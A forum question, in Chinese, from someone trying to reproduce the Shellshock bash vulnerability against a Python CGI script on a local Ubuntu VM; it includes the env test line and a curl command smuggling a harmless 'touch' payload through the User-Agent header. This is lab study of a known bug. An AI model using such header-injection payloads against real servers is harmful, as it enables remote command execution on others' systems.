我一直试图在本地 14.04 Ubuntu VM 上重现 Shellshock 漏洞,但没有任何成功。我知道我的本地 bash 版本仍然易受攻击,因为以下命令会打印出注释部分:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# vulnerable
# this is a test
我当前的设置是一个在 Apache2 上运行的非常简单的 Python CGI 脚本。假设我的虚拟主机配置正常工作,下面是我的全部 Python 脚本:
#!/usr/bin/python
import os
val = os.environ.get('HTTP_USER_AGENT')
print "Content-type:text/html\r\n\r\n"
print "<html>"
print "<head>"
print "<title>Shellshocked!!</title>"
print "</head>"
print "<body>"
print "<h2>Hi world; ua=%s</h2>" % val
print "</body>"
print "</html>"
我使用 curl 和以下命令调用此网页:
curl -H "User-Agent: () { :; }; touch ~/hacked.txt" http://localhost/cgi-bin/index.py
输出为:
<html>
<head>
<title>Shellshocked!!</title>
</head>
<body>
<h2>Hi world; ua=() { :; }; touch ~/hacked.txt</h2>
</body>
</html>
如您所见,攻击已传递到页面,但主目录中未创建任何内容。有什么线索可以解释为什么攻击不起作用?有关我的 bash 版本的相关详细信息如下:
adminuser@home:/bin$ bash --version
GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu)
另外我必须提到,我的/bin/sh
符号链接到,/bin/dash
以防万一,尽管这也是易受攻击的,因为上述漏洞测试仍然有效。